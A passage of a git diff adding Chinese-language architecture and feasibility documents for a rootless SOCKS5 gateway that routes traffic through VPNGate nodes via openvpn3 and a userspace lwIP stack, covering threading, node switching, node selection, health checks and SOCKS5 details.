4)` | SOCKS5 accept / 中继 / admin HTTP | 每会话一个 `strand` 串行化 | +| **stack** | 每个 Egress 1 个 | lwIP 全部调用 + 包收发 + 定时器 | **所有 lwIP API 只能在此线程调** | +| **ovpn** | 每个 Egress 1 个 | `OpenVPNClient::connect()`(阻塞) | 只通过回调与外界交互 | +| **control** | 1 | 抓 API、探测、健康检查、切换编排 | 不做任何阻塞 IO 之外的重活 | + +稳态(1 个 Egress):4 + 1 + 1 + 1 = 7 线程。 +切换期间(2 个 Egress)峰值 9 线程。与连接数无关——这是「不能一连接一线程」的直接体现。 + +跨线程只用两种手段:`asio::post` 到目标 executor,或无锁原子。**不允许**跨线程持锁调用。 + +`netstack::Stack::post(fn)` 是唯一进入 lwIP 线程的入口;所有 `TcpStream` 的公开方法内部都 +自动 post,因此调用者可以从任意线程安全调用。完成回调则 post 回调用方的 executor。 + +--- + +## 4. 关键接口 + +### 4.1 `egress::Egress` + +上层唯一看得见的出口抽象。 + +```cpp +class Egress { + virtual void async_connect_tcp(const Endpoint&, milliseconds timeout, ConnectHandler) = 0; + virtual void async_bind_udp(UdpBindHandler) = 0; + virtual void async_resolve(const std::string& host, ResolveHandler) = 0; + virtual EgressState state() const = 0; + virtual EgressStats stats() const = 0; +}; +``` + +三个实现: + +- `TunnelEgress` — lwIP + openvpn3,生产用。 +- `DirectEgress` — 直接用宿主 socket,用于本地测试 SOCKS5 逻辑而不需要 VPN。 +- (未来)`NetnsEgress` — 见 FEASIBILITY §7。 + +`socks5` 模块只依赖这个接口,因此可以完全脱离 VPN 做单元测试。 + +### 4.2 `netstack::TcpStream` + +```cpp +class TcpStream { + virtual void async_read_some(MutableBuffer, ReadHandler) = 0; // cb(ec, n) + virtual void async_write(ConstBuffer, WriteHandler) = 0; // 全量写 + virtual void shutdown_send() = 0; // 半关闭 → FIN + virtual void close() = 0; +}; +``` + +**流控是显式的**:lwIP 的 `recv` 回调收到数据后,我们只把它挂进 per-conn 队列, +**不立刻调 `tcp_recved()`**。只有当上层真的把字节读走了,才按消费量调 `tcp_recved(pcb, n)` +推进接收窗口。这样对端的发送速率会被 SOCKS5 客户端的消费速率自然反压,不会在代理里堆积。 + +写方向对称:`tcp_write()` 受 `tcp_sndbuf()` 限制,写不下的部分挂起,在 `sent` 回调里续写; +`async_write` 的完成回调在**数据被 lwIP 发送缓冲接纳时**触发(而非收到 ACK 时)。 + +--- + +## 5. 节点切换:make-before-break + +这是本项目最核心的机制,对应 FEASIBILITY §1.3。 + +### 5.1 状态机 + +``` + ┌────────┐ need_switch ┌───────────┐ picked ┌────────────┐ + │ Idle ├───────────────►│ Selecting ├──────────►│ Connecting │ + └────▲───┘ └─────┬─────┘ └──────┬─────┘ + │ │ no candidate │ tunnel up + │ ▼ ▼ + │ (backoff) ┌────────────┐ + │ │ Promoting │ 原子换 active_ + │ └──────┬─────┘ + │ drain done / grace expired │ + └───────────────────┬───────────────────────────────┘ + ▼ + ┌────────────┐ + │ Draining │ 旧 Egress 引用计数归零即销毁 + └────────────┘ + Connecting 失败 → 保留旧 Egress,惩罚候选,退避重试 +``` + +**关键:`Promoting` 之前旧隧道一直在服务。** 新隧道建不起来对现有流量零影响。 + +### 5.2 引用计数即排空 + +```cpp +// 会话创建时 +auto egress = manager.acquire(); // shared_ptr,持有到会话结束 + +// 切换时 +{ + std::lock_guard lk(mu_); + draining_.push_back({std::move(active_), now + drain_grace}); + active_ = new_egress; // 之后 acquire() 返回新的 +} +``` + +旧 Egress 的 `shared_ptr` 引用计数天然就是「还有多少会话在用它」。归零 → 析构 → 隧道关闭。 +不需要单独维护会话表,也不会漏。 + +`drain_grace` 到期时,对仍存活的会话调用 `force_close()`——这就是需求里「做不到就断开」的 +那部分,只是范围缩到了最小。 + +### 5.3 零进度连接透明重试 + +`Session` 记录 `bytes_up + bytes_down`。切换发生时若该会话仍为 0,说明还没有字节流状态: + +``` +if (session.total_bytes() == 0 && session.state() == Established) + → 在新 Egress 上重连目标,替换 TcpStream,客户端无感 +else + → 留在旧 Egress 排空 +``` + +### 5.4 UDP association 重新归巢 + +对每个存活的 UDP association:保持面向客户端的 socket 不变,只在新 Egress 上重开出口 PCB。 +客户端完全无感(FEASIBILITY §5.3)。 + +### 5.5 防抖动 + +| 保护 | 默认值 | +|---|---| +| 最小切换间隔 | 60s | +| 候选必须优于当前的幅度 | 分数高 20% 以上 | +| 连续判定为不健康的窗口数 | 3 | +| 同时 draining 的 Egress 上限 | 2 | +| 切换失败后退避 | 指数,30s → 480s 封顶 | + +--- + +## 6. 选点策略 + +API 指标不可信(FEASIBILITY §3.3),所以分两阶段。 + +**阶段一:先验筛选(便宜)** — 用 API 字段过滤和粗排: + +``` +prior = w1·norm(Score) + w2·norm(Speed) + w3·(1/(1+NumVpnSessions)) + w4·norm(Uptime) + - country_penalty - protocol_penalty(tcp 比 udp 扣分) +``` + +取 top-K(默认 12)进入阶段二。 + +**阶段二:本地实测(贵,但准)** — 对 K 个候选**并发**做 TCP 握手计时(连到节点的 +OpenVPN 端口,成功即断),取多次采样的中位数作为 `rtt_ms`: + +``` +score = α·(1/rtt_ms) + β·prior + γ·history_success_rate - δ·recent_failure_penalty +``` + +`history_*` 来自持久化的 `node_history.json`:每个节点记录成功/失败次数、 +历史平均吞吐、最近一次失败时间。**同一个节点连续失败会被指数退避拉黑**,避免反复撞墙。 + +分数最高者胜出。若与当前节点分数差距不足 20%,**不切换**(§5.5 迟滞)。 + +--- + +## 7. 健康检查 + +两层,职责不同: + +**L1 — 隧道内重连(openvpn3 自己做)** +`ping` / `ping-restart` 触发的会话内重连。此时 socketpair fd 通过 `tunPersist=true` 保持不变, +**lwIP 实例和所有连接都不受影响**。这是最廉价的自愈,覆盖绝大多数瞬时抖动。 + +**L2 — 换节点(我们做)** +`HealthMonitor` 每 `interval`(默认 15s)对 active Egress 采样: + +| 信号 | 采集方式 | 权重 | +|---|---|---| +| 隧道状态 | openvpn3 event(`DISCONNECTED`/`RECONNECTING`)| 一票否决 | +| 隧道内 RTT | 通过 Egress 做一次 DNS 查询计时 | 高 | +| 连接成功率 | 滑动窗口统计 SOCKS5 CONNECT 结果 | 高 | +| 吞吐停滞 | 有活跃会话但零字节推进的持续时长 | 中 | +| 丢包 | lwIP 重传计数 | 中 | + +综合分低于阈值并**连续 3 个窗口**成立 → 通知 `SwitchController`。单次抖动不触发。 + +--- + +## 8. SOCKS5 实现要点 + +- **认证**:RFC 1929 用户名/密码。凭据从配置文件或 `--auth-file` 读取, + 口令存储为 `sha256(salt || password)`,比较用常量时间。支持仅 `NO_AUTH`(显式配置才允许)。 +- **握手超时**、**连接超时**、**空闲超时** 三个独立计时器,任何一个到期都干净关闭。 +- **半关闭**:一方 EOF → 对另一方 `shutdown_send()`,另一方向继续传输,直到双向都结束。 + 这是很多代理实现的 bug 源头(收到 EOF 就整条关掉,会截断响应)。 +- **异常断开**:RST / 进程退出 / Egress 销毁,都通过 `Session::force_close()` 统一路径回收, + 保证 `TcpStream` 和 fd 不泄漏。 +- **准入控制**:`max_sessions` 在 accept 层生效,超限直接拒绝——这是 lwIP 用 malloc 之后 + 防 OOM 的唯一闸门(FEASIBILITY §4.2)。 +- **UDP ASSOCIATE**:见 FEASIBILITY §5.1。`FRAG != 0` 丢弃并计数。 + +--- + +## 9. 可观测性 + +- **日志**:分级(trace/debug/info/warn/error),带模块标签和会话 ID。 + 切换、选点、健康判定这三条链路是 info 级——出问题时必须能从日志还原决策过程。 +- **指标**:`/metrics`(Prometheus 文本格式)导出会话数、切换次数、各 Egress 的 RTT 与流量、 + DNS 缓存命中率、拒绝计数等。 +- **admin 接口**:`/status`(当前节点、Egress 状态、draining 列表)、 + `POST /switch`(手动触发切换,运维逃生口)、`/nodes`(当前候选池及分数)。 + +--- + +## 10. 目录结构 + +``` +src/ +├── common/ logging.h config.h error.h endpoint.h buffer.h metrics.h +├── vpngate/ api_client.* csv_parser.* node.h node_store.* +├── selector/ prober.* scorer.* selector.* +├── ovpn/ tunnel_client.* profile_sanitizer.* packet_pipe.* +├── netstack/ lwip_stack.* lwip_tcp.* lwip_udp.* dns_resolver.* lwipopts.h +├── egress/ egress.h tunnel_egress.* direct_egress.* egress_manager.* +├── socks5/ protocol.* auth.* server.* session.* udp_relay.* +├── health/ health_monitor.* switch_controller.* +└── app/ main.cpp app.* admin_server.* +``` diff --git a/docs/FEASIBILITY.md b/docs/FEASIBILITY.md new file mode 100644 index 0000000..e85dd1e --- /dev/null +++ b/docs/FEASIBILITY.md @@ -0,0 +1,431 @@ +# 技术可行性分析 + +本文档是动手写代码之前的结论。所有判断都基于对 openvpn3 源码、VPNGate API 实测响应、 +以及目标运行环境的实际验证,而不是推测。验证记录见文末「附录:验证方法」。 + +--- + +## 0. 结论速览 + +| 需求 | 判定 | 说明 | +|---|---|---| +| OpenVPN 3 Core 作为协议实现 | ✅ 可行 | 需以 `USE_TUN_BUILDER` 编译,走 TunBuilder 路径 | +| 无 root 用户态处理流量 | ✅ 可行 | socketpair + 用户态 TCP/IP 栈(lwIP) | +| VPNGate 节点列表抓取与解析 | ✅ 可行 | 实测 1.29 MB / 96 节点 / 最长行 13529 字符 | +| 多指标自动选节点 | ✅ 可行 | API 指标不可信,必须以本地实测为主 | +| 节点健康检查与自动重连 | ✅ 可行 | 分两层:隧道内重连 + 换节点 | +| SOCKS5 + 用户名密码认证 | ✅ 可行 | RFC 1928 / RFC 1929 | +| 1000 并发连接 | ⚠️ 有条件可行 | 本进程能扛住;**VPNGate 免费节点扛不住** | +| TCP CONNECT / 超时 / 半关闭 / 异常断开 | ✅ 可行 | — | +| DNS 不泄漏 | ✅ 可行 | 域名在隧道内解析 | +| SOCKS5 UDP ASSOCIATE | ✅ 支持(不支持 FRAG 分片) | 见 §5 | +| 换节点后**新**连接走新隧道 | ✅ 可行 | make-before-break | +| 换节点后**保持已建立的 TCP 连接** | ❌ **不可能** | 见 §1,这是本需求中唯一真正不可能的部分 | +| 换节点后保持 UDP association | ✅ 可行(意外收获) | 见 §5.3 | + +--- + +## 1. 不可能的部分:已建立的 TCP 连接无法跨节点迁移 + +这是需求里唯一物理上做不到的事情,必须说清楚为什么,否则后面的设计无从谈起。 + +### 1.1 为什么不可能 + +一条 TCP 连接由四元组 `(src_ip, src_port, dst_ip, dst_port)` 唯一标识,**且这个四元组在 +连接生命周期内不可变**。当我们从 VPN 节点 A 切换到节点 B: + +1. 隧道内网 IP 变了。节点 A 通过 `push ifconfig` 给我们 `10.211.1.6`,节点 B 会给一个完全 + 不同的地址。我们协议栈的 `src_ip` 随之改变。 +2. 出口公网 IP 变了。对端服务器看到的来源地址从 A 的公网 IP 变成 B 的公网 IP。 +3. 节点 A 上的 NAT 会话表项随隧道断开而销毁。即便我们伪造原 `src_ip`,B 也不会、也无法把 + 包按 A 的映射发出去。 + +于是切换后我们发出的报文,在对端 TCP 看来来自一个陌生的四元组。对端的反应是 +**丢弃(不匹配任何 TCB)或回 RST**,绝不会当作原连接的续传。这是 TCP 的设计本身,不是实现缺陷。 + +### 1.2 那些「能迁移」的协议为什么能 + +| 协议 | 迁移机制 | 为什么救不了我们 | +|---|---|---| +| MPTCP (RFC 8684) | 在新路径上加 subflow,用 token 关联到同一连接 | 需要**对端也支持**。公网上绝大多数服务器没开。且需要内核 MPTCP 栈 | +| QUIC (RFC 9000 §9) | 用 Connection ID 而非四元组标识连接,支持路径迁移 | QUIC 跑在 UDP 上。见 §5.3——这部分我们**确实能救** | +| SCTP multihoming | 连接绑定到地址集合 | 公网部署几乎为零 | + +结论:对**普通 TCP**,无论在应用层做什么,都无法把一条已建立的连接搬到另一个出口 IP 上。 +任何声称能做到的方案,要么是重新建连(破坏字节流语义),要么是没真正换出口。 + +### 1.3 我们实际能做到什么(工程解法) + +需求里写了「如果做不到,那么断开所有旧连接」。直接全断是可以的,但太粗暴——正常网页浏览 +场景下会造成明显可见的中断。本项目实现的是**优雅降级的三段式方案**: + +**A. Make-before-break(先建后拆)** + +新旧两条隧道**并存**一段时间。每条隧道是一个独立的 `Egress`(独立的 OpenVPN 会话 + 独立的 +lwIP 协议栈实例)。 + +- 新的 SOCKS5 连接 → 绑定到新 Egress。 +- 已存在的连接 → 继续留在旧 Egress 上,**完全不受影响**,直到自然结束。 + +旧 Egress 进入 `Draining` 状态:不再接受新连接,引用计数归零即销毁。 + +**B. 有界的排空窗口** + +排空不能无限期,否则一条长连接(SSH、WebSocket)会让旧隧道永远留着。设 `drain_grace` +(默认 120s)。窗口内自然结束的连接是零感知的;窗口到期仍存活的连接被强制关闭——这就是需求 +里说的「做不到就断开」,只是把「全部立刻断」缩小成了「少数超时的才断」。 + +同时并存的 draining Egress 数量有上限(默认 2),避免连续切换导致隧道堆积。 + +**C. 零进度连接可透明重试** + +如果一条 SOCKS5 连接在切换发生时,`CONNECT` 还没完成、或者完成了但**双向都还没传输过任何 +应用字节**,那么重建它对客户端是完全无感的——因为还没有任何字节流状态需要保留。这类连接 +我们直接在新 Egress 上重连,客户端完全察觉不到。 + +实测中这能覆盖相当一部分场景(浏览器的预连接、连接池里的空闲连接)。 + +**代价(必须诚实说明)**:并存期间内存和 CPU 翻倍(两个 lwIP 实例、两个 OpenVPN 会话), +出口 IP 在窗口内不唯一(旧连接走旧 IP)。对于「出口 IP 必须唯一」的场景,配置 +`switch.mode = hard` 退化为「立即全断」。 + +--- + +## 2. 无 root:为什么必须自带 TCP/IP 栈 + +### 2.1 环境事实 + +目标环境 `/dev/net/tun` **不存在**,进程 uid=1000。即便设备节点存在,`TUNSETIFF` 也需要 +`CAP_NET_ADMIN`。所以:**拿不到 tun 设备,也无权改路由表**。 + +(备选路径 unprivileged userns + netns 见 §7,本项目不作为默认。) + +### 2.2 openvpn3 能否把裸 IP 包交给我们 + +能,而且是官方支持的路径。关键证据在 `openvpn/tun/builder/client.hpp:59`: + +```cpp +Base::stream = new openvpn_io::posix::stream_descriptor(io_context, socket); +``` + +`tun_builder_establish()` 返回的 `int` fd 被直接包进 **ASIO 的 POSIX stream_descriptor**, +之后按裸 IP 包做 `async_read_some` / `async_write`。这条路径上**没有任何 tun 专属的 ioctl**, +openvpn3 不关心 fd 究竟是不是 tun 设备——它只要一个能异步读写的 fd。 + +于是: + +``` +socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) + sv[0] ──► 交给 openvpn3(tun_builder_establish 返回它) + sv[1] ──► 我们自己持有,接到 lwIP netif +``` + +选 `SOCK_DGRAM` 而非 `SOCK_STREAM` 是刻意的:**数据报边界天然等于 IP 包边界**,不需要任何 +额外的长度前缀或分帧逻辑,也不会出现半个包的情况。 + +这条路径由 CMake 选项 `CLI_TUNBUILDER=ON`(即 `-DUSE_TUN_BUILDER`)启用,openvpn3 自带的 +`test/ovpncli` 就是这么用的,在 Linux 上是被官方 CI 覆盖的。 + +**已对真实节点实测通过(非推断)**。用 `tools/tunnel_smoke.cpp` 对 +`public-vpn-113@219.100.37.100:443/tcp` 跑了一次完整会话,uid=1000、无 root、无 +`/dev/net/tun`: + +``` +tunnel up: ip=10.239.88.225/30 gw=10.239.88.226 mtu=1500 + dns=[10.239.254.254, 8.8.8.8] redirect_gw=true routes=0 +tx: 手工构造的 IPv4+ICMP echo → 8.8.8.8 +rx #1: IPv4 8.8.8.8 -> 10.239.88.225 ICMP len=44 (wire 44) +共 6 个 echo reply,tx=7 pkts/308 B (dropped 0),退出码 0 +``` + +三个结论就此从「设计假设」变成「已验证事实」: + +1. openvpn3 接受 socketpair 的 fd,全程没有任何 tun 专属 ioctl; +2. **收到的是裸 IPv4,没有 4 字节 `tun_prefix` 框架头**——`len=44 (wire 44)` + 即 IP 首部里的 total length 与数据报长度逐字节相等,多一个前缀就会是 48/44; +3. 数据报边界确实等于 IP 包边界,读侧不需要任何分帧逻辑。 + +失败路径同样验证过:已死的节点走 RECONNECTING → RECONNECTING → +`down: CONNECTION_TIMEOUT`,状态机与 fd 回收都干净。 + +> **UDP 传输未能在本沙箱内实测。** 4 个 VPNGate UDP 节点全部 `CONNECTION_TIMEOUT`; +> 但同环境下向三台公网 NTP 服务器(UDP/123)发包也全部超时,而 DNS(UDP/53)正常。 +> 判定为**沙箱只放行 UDP/53**,而不是 UDP 代码路径有问题——两者在本机无法区分。 +> 影响有限:样本 96 个节点里仅 8 个提供 UDP,TCP/443 是绝大多数节点的唯一入口。 + +### 2.3 由此带来的简化 + +因为我们从不碰宿主机路由表: + +- `tun_builder_add_route` / `tun_builder_reroute_gw` 全部**记录日志后返回 true**,不做实际动作。 + 隧道内的「默认路由」由我们自己的 lwIP 实例定义——它只有一个 netif,天然全部流量走隧道。 +- `socket_protect()` 直接返回 true。它的用途是防止 VPN 自己的传输 socket 被路由进隧道造成环路; + 我们没改宿主路由,不存在环路。 +- 不产生 DNS 泄漏风险的系统级配置改动(`/etc/resolv.conf` 一律不碰)。 + +**副作用**:本进程是一个纯粹的 SOCKS5 网关,**不会**把宿主机其它程序的流量导入 VPN。这符合 +需求(对外提供 SOCKS5 服务),但要明确它不是一个系统级 VPN 客户端。 + +### 2.4 为什么是 lwIP + +需要一个用户态 TCP/IP 栈。候选: + +| 方案 | 语言 | 判断 | +|---|---|---| +| **lwIP** | C | ✅ 选用。成熟、BSD 协议、可嵌入 C++、被 tun2socks/hev-socks5-tunnel 大规模验证 | +| gVisor netstack | Go | 性能更好,但引入 Go 运行时和跨语言边界,与 C++ 的 openvpn3 拼接成本高 | +| smoltcp | Rust | 同上,且 no_std 取向,功能面偏窄 | +| 自己写 | — | 不予考虑 | + +lwIP 的已知短板(§4 展开):它是嵌入式栈,默认配置扛不住 1000 连接,必须重新配参数。 + +关键点:**我们是连接的发起方**,不是 tun2socks 那种「拦截别人的连接」。所以不需要 +`LWIP_HOOK_IP4_INPUT` 之类的劫持技巧,直接用 raw API 的 `tcp_new` / `tcp_connect` 即可, +复杂度显著低于典型 tun2socks 实现。 + +--- + +## 3. VPNGate 的真实情况 + +### 3.1 API 格式(实测) + +`http://www.vpngate.net/api/iphone/` 返回: + +``` +*vpn_servers +#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,NumVpnSessions,Uptime,TotalUsers,TotalTraffic,LogType,Operator,Message,OpenVPN_ConfigData_Base64 +public-vpn-113,219.100.37.100,3008408,10,287135107,Japan,JP,113,...,IyMjIyMj... +... +* +``` + +实测数据:响应 1.29 MB,99 行(1 行 magic + 1 行表头 + 96 行数据 + 1 行 `*` 结束符), +**最长行 13529 字符**。 + +「每行可能非常长」的根因:第 15 列是**整个 .ovpn 配置文件的 base64**,含内联 CA 证书、 +客户端证书和私钥,单行轻松过 10 KB。 + +对解析器的硬性要求: + +- 不得使用固定大小的行缓冲区。必须流式或动态增长。 +- `Message` 和 `Operator` 列包含**自由文本**,实测有内容为 + `Daiyuu Nobori_ Japan. Academic Use Only.` 的行——注意其中的 `_` 是 VPNGate 对逗号的转义 + 替换,但不能假定所有行都被正确转义,必须按 RFC 4180 处理引号,并对**列数不足的行直接跳过** + 而不是崩溃。 +- 必须容忍 `Ping` / `Speed` 为空字符串。 + +### 3.2 节点配置的真实内容(实测解码第一个节点) + +``` +dev tun +proto tcp +remote 219.100.37.100 443 +cipher AES-128-CBC +data-ciphers AES-128-CBC +auth SHA1 +resolv-retry infinite +nobind +persist-key +persist-tun +client +verb 3 +... ... ... +``` + +重要结论: + +1. **不需要用户名密码**。配置内联了客户端证书和私钥,是纯证书认证。(部分老节点需要 + `vpn`/`vpn`,代码里保留了 fallback。) +2. **`proto tcp` + 443 端口**。这意味着 **TCP-over-TCP**——隧道内的 TCP 跑在隧道外的 TCP 上。 + 两层拥塞控制叠加,丢包时会互相放大重传,即所谓 TCP meltdown。缓解手段:把 lwIP 的 + `TCP_MSS` 调低避免分片、开 SACK、限制内层窗口不要过分激进。**这是免费 VPNGate 的固有 + 特性,不是我们能修复的**,只能缓解。同一节点若同时提供 UDP 入口应优先选 UDP。 +3. **`AES-128-CBC` + `SHA1`**。都是弱算法。openvpn3 在较新版本里默认拒绝部分遗留算法, + 需要显式开 `enableLegacyAlgorithms` / `tlsCertProfileOverride=legacy`,否则握手直接失败。 + 较新的 VPNGate 配置已经带了 `data-ciphers`,所以 NCP 协商能正常工作。 +4. 节点跑的是 SoftEther 的 OpenVPN 兼容层,不是原版 openvpn 服务端。行为上有偏差, + profile 需要做净化/重写(去掉 openvpn3 不认识的指令,补上必需的指令)。 + +### 3.3 API 指标可信度 + +`Score` / `Ping` / `Speed` 是 **VPNGate 中心服务器**到节点测出来的,不是**我们**到节点。 +地理位置一变,排序完全失效。`Speed` 那个 287135107(≈287 Mbps)是节点自报的线路带宽, +不代表你能分到多少——`NumVpnSessions=113` 意味着 113 个人在抢。 + +因此选点策略必须以**本地实测**为主:我们自己对候选节点的 OpenVPN 端口做 TCP 握手计时, +API 指标只用于**初筛和排序前的先验权重**。详见 `ARCHITECTURE.md` §选点。 + +--- + +## 4. 1000 并发:能到什么程度 + +拆成三个独立的瓶颈来看。 + +### 4.1 本进程(可控) + +- **不能一连接一线程**。1000 线程 × 8 MB 默认栈 = 8 GB 虚拟内存,上下文切换开销也不可接受。 + 本项目用 ASIO 的 proactor 模型,`min(hardware_concurrency, N)` 个 io 线程跑事件循环, + 每条连接是一组 handler + 一个 strand,**零专属线程**。 +- **fd 消耗**:每条 SOCKS5 连接占 1 个客户端 fd。出口侧走 lwIP,**不消耗 fd**(这是用户态栈 + 的一个实在好处)。1000 连接 ≈ 1000 + 少量固定 fd,默认 `ulimit -n 1024` 不够,启动时程序 + 会自己把 `RLIMIT_NOFILE` 提到 soft=hard 并在不足时告警。 +- **内存**:每连接两个方向的中继缓冲(默认 32 KB 合计)+ lwIP 的 PCB 与重组队列。 + 1000 连接 ≈ 32 MB 中继缓冲 + lwIP 开销,量级在 100–200 MB。可接受。 + +### 4.2 lwIP(需要重新配置,且是真实风险) + +lwIP 的默认配置是给 MCU 用的,`MEMP_NUM_TCP_PCB` 默认 **5**。直接用必然崩。本项目的 +`lwipopts.h` 做了如下调整: + +- `MEM_LIBC_MALLOC=1` + `MEMP_MEM_MALLOC=1`:所有 memp 池改走 libc malloc, + **彻底绕开静态池容量规划问题**。代价是失去池化的确定性和一点性能,换来的是不会因为某个 + 池耗尽而莫名其妙丢包。对我们这种「不是硬实时、但要求鲁棒」的场景是正确的取舍。 +- 既然内存不再有硬上界,**准入控制必须由我们自己做**:`socks5.max_sessions`(默认 1200) + 在 accept 层直接拒绝超限连接,这是防 OOM 的唯一闸门。 +- `LWIP_WND_SCALE=1` + `TCP_RCV_SCALE=2`、`LWIP_TCP_SACK_OUT=1`:VPN 链路 BDP 大且有丢包, + 没有窗口缩放和 SACK 会严重拖垮吞吐。 +- `TCP_MSS=1360`:保守值,避开隧道 MTU 导致的分片。 + +**诚实的风险提示**:lwIP 是单线程栈,所有连接的协议处理串行在一个线程上。1000 条**高吞吐** +连接会让这个线程成为瓶颈。1000 条**普通**连接(大部分时间空闲,如浏览器场景)没有问题。 +如果需求真是 1000 条满速并发,lwIP 会先于 VPN 节点成为瓶颈,届时应考虑换 gVisor netstack +或多 Egress 分片。架构上 `Egress` 是接口,替换栈实现不影响上层。 + +### 4.3 VPNGate 节点(不可控,且是真正的天花板) + +这是必须直说的部分:**一个免费的 VPNGate 节点几乎不可能支撑 1000 条并发连接**。 + +- 节点是志愿者用家用带宽跑的 SoftEther,实测样本里单节点已有 113 个并发会话在共享带宽。 +- SoftEther 对单会话的连接数和 NAT 表项有限制。 +- `proto tcp` 意味着我们所有流量还要挤在**一条**到节点的 TCP 连接里(openvpn3 单传输连接), + 这条连接的拥塞窗口是全局共享的。 + +所以「1000 并发」的合理解读是:**本网关的架构和实现能处理 1000 条并发连接而不劣化**, +至于端到端能跑多少,取决于当时选中的节点。程序会导出 `active_sessions`、 +`connect_failure_rate`、`egress_rtt_ms` 等指标,节点扛不住时健康检查会触发换节点。 + +--- + +## 5. SOCKS5 相关的明确表态 + +### 5.1 UDP ASSOCIATE:**支持** + +明确回答需求里的问题:**支持 SOCKS5 UDP ASSOCIATE**(RFC 1928 §7)。实现要点: + +- `UDP ASSOCIATE` 请求到达后,在本地绑定一个 UDP socket 接收客户端数据报, + 同时在 Egress(lwIP)里开一个 UDP PCB 作为出口。 +- 回复的 `BND.ADDR`/`BND.PORT` 使用可配置的 `socks5.advertise_addr`——不能想当然填 + `0.0.0.0`,客户端需要一个**它能到达**的地址。这在容器/NAT 部署里是个常见坑。 +- association 的生命周期绑定到那条 TCP 控制连接。控制连接一断,UDP 立即回收(RFC 要求)。 +- 空闲超时独立计时(默认 60s),防止客户端不关控制连接导致 PCB 泄漏。 + +**不支持的部分(明确声明)**:`FRAG != 0` 的分片数据报**直接丢弃**。RFC 1928 允许实现不支持 +分片。理由:分片重组需要维护跨数据报状态且极易被用于放大攻击,而现实中几乎没有客户端使用 +(curl、Chrome、SSH -D 都不用)。丢弃时会打 warn 日志并计数,不会静默。 + +### 5.2 DNS + +域名解析**在隧道内完成**,不泄漏: + +- `CONNECT` 请求的 `ATYP=DOMAINNAME` 不在本地 `getaddrinfo`,而是走 `Egress::async_resolve`, + 即通过 lwIP 的 UDP 向 VPN 服务器 push 下来的 DNS 服务器发查询。 +- 自带解析器而非用 lwIP 内置 `dns_gethostbyname`:需要 TTL 感知的缓存、并发去重、 + UDP 截断后回落 TCP、以及跨 Egress 实现复用(DirectEgress 也要能用)。lwIP 内置 DNS 这些都没有。 +- 若 VPN 未 push DNS,回落到配置的 `dns.fallback_servers`(默认 1.1.1.1 / 8.8.8.8), + **仍然走隧道发出**,不走宿主机。 +- 走 UDP ASSOCIATE 的 53 端口流量天然也在隧道内,无需特殊处理。 + +### 5.3 意外收获:UDP association 可以跨节点迁移 + +§1 说 TCP 不能迁移。但 **UDP 可以**,因为它无连接——没有需要保留的序列号状态。 + +节点切换时,对于每个存活的 UDP association,我们只需在新 Egress 上重新 bind 一个 UDP PCB, +**保持面向客户端的那个 socket 和端口不变**。客户端完全无感。 + +对于 QUIC 这类自带连接迁移(RFC 9000 §9,用 Connection ID 而非四元组标识连接)的协议, +它会自己完成路径验证并继续跑——也就是说,**通过我们的 SOCKS5 代理的 QUIC/HTTP3 连接 +能够真正做到跨 VPN 节点切换而不中断**。这是 TCP 拿不到的待遇。 + +代价:出口 IP 变化会让部分服务端(把 UDP 会话绑定到源 IP 的)判定为新会话。这个由应用层 +自己处理,代理层无能为力。 + +### 5.4 不实现的部分 + +- `BIND` 命令:明确回 `X'07' Command not supported`。它需要在出口侧监听端口等待入站连接, + 而 VPNGate 节点在 NAT 后面,根本收不到入站连接。实现了也不能用。 +- GSSAPI 认证(RFC 1961):不实现,回 `X'FF'`(无可接受方法)。 +- SOCKS4/4a:不实现。 + +--- + +## 6. 其它已识别的工程风险 + +| 风险 | 影响 | 缓解 | +|---|---|---| +| openvpn3 `connect()` 是阻塞调用 | 每条隧道需独占一个线程 | 每个 Egress 一个 ovpn 线程;切换期间峰值 2 个。可接受 | +| 节点 profile 含 openvpn3 不识别的指令 | 直接 `option_error` 连不上 | `ProfileSanitizer` 白名单重写,见 `ovpn/profile_sanitizer` | +| 弱算法被新版 openvpn3 拒绝 | 握手失败 | 显式 `enableLegacyAlgorithms=true` + `tlsCertProfileOverride="legacy"` | +| VPNGate API 限流 / 被墙 / 返回 HTML | 拿不到节点列表 | 磁盘缓存 + 多镜像 + 指数退避;缓存可用时不阻塞启动 | +| 隧道内 MTU 与实际路径不符 | 大包黑洞 | `TCP_MSS` 保守取值 + 采纳 `tun_builder_set_mtu` | +| 切换风暴(反复横跳) | 连接持续被打断 | 迟滞判定 + 最小切换间隔 + 候选必须显著更优才切 | +| socketpair 数据报队列满 | 丢 IP 包 | 放大 `SO_SNDBUF`/`SO_RCVBUF`;丢包由 TCP 重传兜底(这是 IP 层,允许丢) | +| lwIP 单线程瓶颈 | 高吞吐时吞吐受限 | 见 §4.2;架构上可替换 | + +--- + +## 7. 备选方案:unprivileged userns + netns(未采用) + +有 root 或允许非特权 user namespace 时,还有一条路: + +``` +unshare -Ur -n → 在新 netns 里拥有 CAP_NET_ADMIN → 创建真 tun 设备 → 用内核 TCP/IP 栈 +``` + +优点很实在:内核栈的性能、成熟度、可观测性(`ss`、`tcpdump`)都远超 lwIP,1000 并发毫无压力。 + +不采用的原因: + +1. 目标环境 `/dev/net/tun` **不存在**,这条路直接堵死。 +2. 需要 mount namespace 配合 bind-mount `/dev/net/tun`,部署复杂度陡增。 +3. SOCKS5 监听端口在宿主 netns、出口 socket 在 VPN netns,需要跨 netns 传 fd(`SCM_RIGHTS`), + 引入一个 helper 进程。 +4. 很多容器环境(无 `CAP_SYS_ADMIN`、seccomp 限制 `unshare`)里不可用。 + +架构上 `Egress` 是接口,将来要加 `NetnsEgress` 不影响任何上层代码。这条路**留了口子但不修**。 + +--- + +## 附录:验证方法 + +本文所有事实性断言的来源: + +```bash +# 环境 +uname -a; id; ls -l /dev/net/tun # → 无 tun 设备,uid=1000 + +# VPNGate API 实测 +curl -s -o /tmp/v.csv -w '%{size_download}' http://www.vpngate.net/api/iphone/ +# → 1293288 bytes +awk '{if(length($0)>m)m=length($0)}END{print m}' /tmp/v.csv +# → 13529 +# 解码第 1 个节点的 base64 配置 → 见 §3.2 + +# openvpn3 tun builder 路径 +git clone --depth 1 https://github.com/OpenVPN/openvpn3 +grep -n 'stream_descriptor' openvpn/tun/builder/client.hpp +# → :59 Base::stream = new openvpn_io::posix::stream_descriptor(io_context, socket); +cmake -S . -B build -G Ninja -DCLI_TUNBUILDER=ON && cmake --build build --target ovpncli +# → 编译成功,0 warning + +# socketpair-as-tun:对真实节点的端到端验证(§2.2) +cmake -S . -B build -DOVG_WITH_TUNNEL=ON 